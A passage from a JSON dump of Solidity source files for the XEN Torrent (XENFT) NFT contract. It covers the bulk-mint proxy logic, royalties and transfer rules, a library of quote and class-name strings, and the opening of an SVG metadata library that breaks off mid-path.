"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,